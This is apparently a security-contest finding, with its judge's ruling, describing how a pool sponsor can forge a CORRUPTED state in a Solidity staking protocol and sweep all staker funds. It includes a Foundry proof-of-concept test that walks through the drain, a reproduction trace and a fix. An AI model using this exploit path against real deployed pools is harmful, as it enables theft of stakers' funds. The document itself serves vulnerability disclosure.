FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: medium
Valid

Pool Sponsor can unilaterally forge CORRUPTED via the AttackRegistry attackModerator role and drain 100% of staker funds

Author Revealed upon completion


Description

Normal behavior:

A Pool Sponsor creates a ConfidencePool for a BattleChain Safe Harbor agreement they own. Stakers deposit capital trusting that the pool only resolves CORRUPTED - sweeping their principal and the bonus pool to recoveryAddress - when the underlying agreement suffers a real, on-chain-attested breach, with the pool's outcomeModerator acting as the trusted arbiter of that judgement.

The issue:

ConfidencePoolFactory.createPool requires the pool creator to be agreement.owner(), and that same address becomes the pool's owner (the Sponsor). In the out-of-scope but load-bearing AttackRegistry dependency, _registerAgreement unconditionally sets attackModerator = agreementOwner the moment the owner requests attack mode for their own agreement - a completely normal, non-adversarial step every legitimate pool goes through. AttackRegistry.markCorrupted() is gated only by onlyAttackModerator, with no DAO signature, no bond requirement, and no evidence of an actual attack. So the Sponsor - the same address who set recoveryAddress to their own wallet - can call markCorrupted() directly and fabricate a terminal CORRUPTED state with zero real breach. After expiry + MODERATOR_CORRUPTED_GRACE (180 days) with no correction, ConfidencePool.claimExpired()'s permissionless, mechanical bad-faith auto-CORRUPTED backstop finalizes it, permanently locking out the honest outcomeModerator (flagOutcome reverts OutcomeAlreadySet), and claimCorrupted() sweeps 100% of the pool to the Sponsor.

Root cause:

// src/ConfidencePoolFactory.sol
function createPool(...) external whenNotPaused returns (address pool) {
...
@> if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
// msg.sender becomes pool.owner() via ConfidencePool.initialize(..., owner_, ...)
// and — via the out-of-scope AttackRegistry._registerAgreement — also becomes the
// agreement's `attackModerator` the moment they request attack mode for it.
}
// src/ConfidencePool.sol
function claimExpired() external nonReentrant {
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> // Trusts the live registry CORRUPTED signal with no check that the agreement's
@> // attackModerator (== the Sponsor, by construction) is a neutral party.
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
claimsStarted = true; // locks out the honest outcomeModerator's flagOutcome correction
return;
}
...
}

Risk

Likelihood:

  • Every pool sponsor is, by construction of ConfidencePoolFactory.createPool's ownership check, the agreement owner - and becomes the registry's attackModerator the moment they take the normal, expected step of requesting attack mode for their own agreement, before any staker ever deposits.

  • The pool's outcomeModerator is a single DAO-controlled default address responsible for watching every pool across every sponsor; a sponsor timing markCorrupted() right after stakers fund the pool, then waiting out the 180-day MODERATOR_CORRUPTED_GRACE, only needs that one specific pool to go unwatched for the window - a realistic condition at scale, and nothing on-chain distinguishes a fabricated CORRUPTED from a genuine one.

Impact:

  • 100% of staked principal and all contributed bonus is swept in a single claimCorrupted() call to a recoveryAddress the Sponsor freely chose at pool creation - complete, deterministic fund loss for every honest staker and bonus contributor.

  • The mechanical claimExpired auto-resolution permanently sets claimsStarted = true, locking the pool's own honest outcomeModerator out of correcting the outcome (flagOutcome reverts OutcomeAlreadySet) - there is no in-protocol remedy once the grace window elapses.


Proof of Concept

Verified against the real, unmodified BattleChain AttackRegistry/Agreement/AgreementFactory/BattleChainSafeHarborRegistry stack (not test mocks) and the real, unmodified in-scope ConfidencePool/ConfidencePoolFactory.

function testSponsorSelfInflictedCorruptionDrainsEntirePool() external {
// Honest stakers deposit, believing they're underwriting a real attack window.
stakeToken.mint(alice, aliceStake); // 10,000e18
vm.startPrank(alice);
stakeToken.approve(address(pool), aliceStake);
pool.stake(aliceStake);
vm.stopPrank();
stakeToken.mint(bob, bobStake); // 5,000e18
vm.startPrank(bob);
stakeToken.approve(address(pool), bobStake);
pool.stake(bobStake);
vm.stopPrank();
stakeToken.mint(carol, carolBonus); // 1,000e18, bonus contributor
vm.startPrank(carol);
stakeToken.approve(address(pool), carolBonus);
pool.contributeBonus(carolBonus);
vm.stopPrank();
assertTrue(pool.riskWindowStart() != 0, "risk window opened");
// THE EXPLOIT: sponsor, wearing the AttackRegistry attackModerator hat (auto-assigned to
// them as the agreement owner), fabricates CORRUPTED. Zero actual attack occurred.
vm.prank(sponsor);
attackRegistry.markCorrupted(agreementAddr);
// Wait out MODERATOR_CORRUPTED_GRACE (180d) past expiry, then trigger the permissionless
// auto-CORRUPTED backstop.
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertFalse(pool.goodFaith()); // bad-faith path: full pool -> recoveryAddress
// The honest moderator's correction window is now permanently closed.
vm.prank(honestOutcomeModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Sponsor sweeps the ENTIRE pool to their own recoveryAddress.
uint256 before = stakeToken.balanceOf(sponsorRecovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(sponsorRecovery) - before, aliceStake + bobStake + carolBonus);
assertEq(stakeToken.balanceOf(alice), 0);
assertEq(stakeToken.balanceOf(bob), 0);
}

Exact steps to reproduce (real registry stack, not mocks - isolated in a standalone Foundry project because the real AttackRegistry/Agreement pin exact pragma solidity 0.8.34 while in-scope ConfidencePool/ConfidencePoolFactory pin exact pragma solidity 0.8.26, mutually exclusive in one solc run; test/Harness.sol deploys the real stack via vm.deployCode, then the 0.8.26 test drives the real in-scope contracts against it):

  1. forge installed.

  2. cd into the PoC project (contains test/Harness.sol + test/SponsorAttackModeratorCorruption.t.sol.

  3. Run:

    forge test --match-path 'test/SponsorAttackModeratorCorruption.t.sol' -vvvv
  4. Output: [PASS] testSponsorSelfInflictedCorruptionDrainsEntirePool() (gas: 659830). Trace shows, in order:

    AttackRegistry::markCorrupted(Agreement)emit AgreementStateChanged(agreementAddress: Agreement, newState: 6) // CORRUPTED, sponsor-triggered, zero real attackConfidencePool::claimExpired()emit OutcomeFlagged(moderator: 0x0000...0000, outcome: 2, goodFaith: false, attacker: 0x0000...0000) // mechanical, no humanConfidencePool::flagOutcome(1, false, 0x0000...0000)[Revert] OutcomeAlreadySet() // honest moderator permanently locked outConfidencePool::claimCorrupted()MockERC20::transfer(sponsorRecovery, 16000000000000000000000 [1.6e22])balanceOf(sponsorRecovery) → 16000000000000000000000balanceOf(alice) → 0 (had staked 10,000e18)balanceOf(bob) → 0 (had staked 5,000e18)


Recommended Mitigation

function claimExpired() external nonReentrant {
...
+ address currentAttackModerator = IAttackRegistry(safeHarborRegistry.getAttackRegistry())
+ .getAttackModerator(agreement);
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ // Refuse to mechanically auto-resolve CORRUPTED when the agreement's attackModerator
+ // is the pool's own Sponsor — that signal is self-interested, not neutral, and must
+ // instead go through the pool's own outcomeModerator via flagOutcome.
+ if (currentAttackModerator == owner()) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Sponsor is their own agreement's attackModerator, so a no-breach markCorrupted() lets claimExpired's auto-CORRUPTED backstop sweep the whole pool to their recoveryAddress

Impact- High Every token in the pool leaves: all staker principal plus the entire bonus, sent to an address the sponsor picked and can still change after people have deposited. Stakers have no defense once it starts, because withdraw is dead the moment riskWindowStart seals, and the mechanical resolution sets claimsStarted, which locks the moderator out of any later correction. Likelihood - Very Low The sponsor holds the role by default on every pool, and markCorrupted carries no penalty since it leaves the bond claimable, so arming this is free and unilateral once the DAO has approved the agreement into UNDER_ATTACK. What it still needs is the pool's outcome moderator staying silent for the whole term plus the 180-day grace, and one flagOutcome(SURVIVED) call anywhere in that stretch defeats it outright.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!